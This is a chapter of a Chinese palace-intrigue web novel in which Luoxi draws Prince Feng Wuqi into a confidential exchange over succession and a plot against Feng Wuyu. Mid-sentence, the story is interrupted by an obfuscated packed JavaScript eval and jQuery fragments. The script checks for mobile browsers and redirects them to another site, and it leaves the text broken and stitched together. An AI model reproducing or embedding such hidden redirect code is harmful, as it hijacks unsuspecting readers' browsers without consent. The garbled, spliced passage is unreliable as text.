洛兮哪里知道,陌昀想要的效果早已达到了,他赌的从不是她是否相信,他赌的正是她此刻态度的缓和。
他赌赢了。
回到翊王府后,洛兮将在国师府的一切事无巨细地告诉了凤芜,凤芜大惊,不想她当时骂的那缺德之人竟是国师。
黄昏的斜阳穿过窗棂,在二人脸上留下斑驳的光影。
“这么说来,除了施双阴咒这一件阴损事,他真不是你的敌人,兴许还是友军呢!”凤芜斜倚窗边,指尖轻点下颌,眸光潋滟,细细分析着。
“目前来看是这样。”洛兮坐在窗下案几前,垂头有一下没一下地摸着手腕上的泪石,看样子有些心不在焉。
凤芜挑眉,“目前?”
“我总感觉他并未对我说出全部实情。”
“感觉?”
“就是感觉。”洛兮抬起手腕,流星链坠着泪石,在残阳下晃着幽蓝的微光,“泪石的反应很大,此人极有可能是我的亲族,那种亲切的感觉骗不了人。”
正因这样,她能感受到国师有事瞒她,但未见他真容之前,一切的猜测都是虚影。
“罢了,不猜了!”洛兮倏然从凳上起身,走到凤芜身边望向外头渐沉的暮色,“只要他不打阿遇的主意,我暂且不和他作对。”
凤芜抿唇一笑,话锋一转:“听说他这个国师可是一人之下,万人之上呢。”
“何止啊。”洛兮眼尾微挑,接着道:“皇帝还对他言听计从,将他的话奉为神谕,既然他不与我为敌,那我可要在瀚安国横着走了!”
洛兮侧首,嘴角露出狡黠的笑。
寒影在风无遇身上,一般人是无法伤害他的,在去益州找他之前,洛兮决定要为风无遇做些什么。
是夜,皇帝召风无绝入宫,内侍尖细的声音划破夜色,圣旨的宣读声响彻思政殿。
风无遇离京后,皇帝连封两位皇子为王。
皇长子风无绝,封宸王;皇七子风无綦,封庆王。
这道圣旨来得悄无声息,知道的人少之又少,约莫得等到第二日天明,才会正式昭告天下。
接完旨,风无绝直接出了皇宫,风无綦则是往自己的宫殿走去,他和风无绝一样,在宫外有自己的府邸,但皇帝特准他娶正妃前可随意留宿皇宫,故而风无綦多数时候都住在宫内。
回宫的一路,他嘴角翘到耳根,哼着不成调的小曲,刚转过假山,暗影里忽伸出一只素手,凭空出现挡在他的脸前。
他霎时停下脚步,圣旨差点脱手,夜色朦胧,周遭虽有零星灯笼微光,但这冷不丁冒出来的人手着实吓了风无綦一大跳,他定了定神,火气顿时冒上来,张口就骂:“哪个不长眼的,敢拦本——”
话未来得及说完,他定睛一看,只见洛兮正笑盈盈地歪头看着他。
“是你?”
“七殿下,何事这么高兴啊?”洛兮故意揶揄道:“连路都不看,再往前走,怕是要掉到池里喂鱼了。”
风无綦狐疑朝她身后看去,还真在她身后看到了鱼池,暗自纳闷,这条路他走了无数次,今夜怎会如此大意?
他收回思绪,目光落在洛兮姣美的脸上,他掏出怀中圣旨,在洛兮眼前晃了晃,下巴微扬炫耀道:“告诉你也无妨,父皇已经下旨封我为庆王,从此以后,风无遇耀武扬威的日子到头了!”
听完风无綦的话,洛兮脸上毫无波澜,只淡淡“哦”了一声,“我当然是什么要紧事,原来是封王啊!”
风无綦的笑意卡在喉咙里,上不去下不来,他止不住扬起声音控诉道:“你这是什么语气!”
洛兮这副云淡风轻的样子让风无綦很不满,这个江湖女到底知不知道封王意味着什么!要知道瀚安国历代皇子皆要受封亲王后才有资格参与储位之争。
正因这样,风无遇被封为翊王时,那些见风使舵的墙头草才争相讨好,就连她这个来历不明的江湖女子也连带着得尽了好处。
但风无遇封王只是父皇为得灵元的权宜之计,为了此事,父皇还宽慰他许久。
洛兮笑笑,解释道:“七殿下莫怪,我只是听说诸多皇子中,你最得陛下喜爱,我难免以为陛下会直接立你为太子。”
听他这么说,风无綦脸上的怒色减退些许。
“立储是何等大事,父皇岂会如此草率?”风无綦轻哼道:“你一个江湖女懂什么?”
“七殿下说得是。”洛兮附和着,又漫不经心道:“今日我有幸拜访了国师,听他说,陛下两年前就想封大殿下为宸王,没想到拖到今日,大抵也是因为不想草率吧。”
“你说什么?”风无綦脸色大变,“父皇两年前就想封风无绝为王?”
对于封王这件事上,母妃旁敲侧击过父皇多次,父皇每次都含糊其辞,顾左右而言他,国师却说两年前父皇就想立风无绝为王?
国师不仅是父皇的心腹,更是父皇在瀚安国唯一能全然相信、言听计从之人,国师的话绝不会有假。
难不成父皇心中属意的太子人选不是他风无綦,而是风无绝?
念及此,风无綦如坠冰窟。是了,一定是这样,国师曾言风无遇知道灵元的下落,父皇才会派兵给卫严,大张旗鼓去寻人。
如今风无遇回来了,父皇却从未提及灵元,反而纵容自己和风无绝联手算计风无遇。
只有一个原因:父皇已经从风无遇口中得到了灵元的下落,风无遇这条命,再无用处。
那他呢?他算什么?
为了灵元,父皇能和风无遇演了一个月的父慈子孝,难道这些年父皇对他的关爱也是演的吗?
风无綦脑子里乱得不行,连洛兮为何知晓风无绝封王都无暇追问。
洛兮好整以暇,将风无綦这瞬息万变的丰富脸色尽收眼底,“是啊!”她故作惊讶,“七殿下……不知吗?”
不等风无綦回答,洛兮便自言自语道:“也对,陛下的心思又有谁能完全猜透呢?”
风无綦终抬眼正视她,收去了居高临下的轻慢,一改称呼,认真问道:“六嫂都知道些什么?”
洛兮弯唇,夜风拂起她耳边碎发,在黑夜的映衬下,为她添了许多神秘感,“七殿下,你高看我了,我一个江湖女子,能知道什么呢?”
说罢,她侧身而过。
风无綦也不是傻子,自知今日与她绝非偶遇,定是她故意为之,她一定知道些什么,于是后退几步堵住洛兮去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569802|171852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路,“六嫂留步。”
“七殿下还有事?”
“算上这次,我与六嫂总共也才见过三次。”风无綦缓缓开口,“每一次相见,你我都句句藏锋。可细细想来,我们之间并无仇怨,不过是初次见面时,为了萧慕,我和六嫂之间产生了点误会。”
洛兮没有说话,静静听他继续道:“其实误会又何止环绕在我和六嫂之间,我和六哥也是被误会囚困了很多年。”
见洛兮面上露出好奇之意,风无綦便顺着话解释道:“六年前,宋淑妃意外身故,也不知道六哥查到了什么,就声称是母妃害死了宋淑妃。”
“难道不是?”洛兮出声问道。
风无綦道:“不瞒六嫂,别说是六哥,就连我也以为是我母妃所为。我自幼长在宫廷,对后宫女人不择手段地争宠早已司空见惯,母妃与宋淑妃素来不睦,势如水火,死了一个,另一个必定脱不了干系,宋淑妃一死,矛头自然指向我母妃。但无论怎样,怀疑终究是怀疑,真相说不了慌,事实就是宋淑妃的死并非我母妃所为。”
洛兮顺势追问:“我听说,当年陈贵妃最得圣宠,宋淑妃的宫殿已形似冷宫,她二人处境如此天差地别,怎会势同水火?”
话音刚落,数名宫人提着宫灯适时经过,见此二人,远远躬身恭敬行礼。
风无綦挥手示意宫人退下,朝洛兮迈了一步,声音压得极低,仅二人可闻:“六嫂不知,在六哥没出生之前,父皇最爱的就是宋淑妃。”
洛兮眸底闪过一丝诧异,稍纵即逝,她抬眼凝视风无綦,眸色纯净,“你为何要告诉我这些?”
“因为我突然想明白一件事。”
“什么事?”
“我真正的敌人恐怕不是六哥。”
“那是谁?”
风无綦笑了一声,不答反问:“我和六嫂说了这么多,作为交换,六嫂是不是也得跟我透露点什么啊?”
洛兮微笑看着他,“七弟想知道什么?”
“父皇可是有意立风无绝为太子?”风无綦的眼神多了几分急切。
洛兮淡淡道:“七弟都心知肚明了,何必又来问我呢?”
风无綦指节骤然收紧,手中圣旨被他捏皱,他像是要把圣旨捏碎一般,但他终究克制住了,心中一横,咬牙道:“萧慕已与风无绝联手,这次益州之行,风无绝打算用萧慕之手,除掉六哥。”
洛兮眼波不兴,淡淡追问:“你将风无绝的计划告诉了我,就不怕他翻脸对你不利吗?”
“他敢?”风无綦满是不屑道。
风无綦这个人骄横惯了,对待周遭人都是不屑一顾的态度,可这一次洛兮从风无綦的语气之中听到了不一样的东西,那不是自负的目中无人,而是饱含十足底气的笃定。
风无綦竟用“不敢”两字笃定风无绝不会对他出手。
风无绝会“不敢”吗?他是长子,又得皇帝重用,他有什么理由对风无綦做小伏低呢?
洛兮压下心中疑云,缓声道:“七弟慷慨,将如此机密相告,我也不是吝啬之人,自当要回份厚礼。”
树上枯叶被夜风垂落,飘至洛兮头上,风无綦抬手,指尖掠过她的发髻,将那枯叶捻起。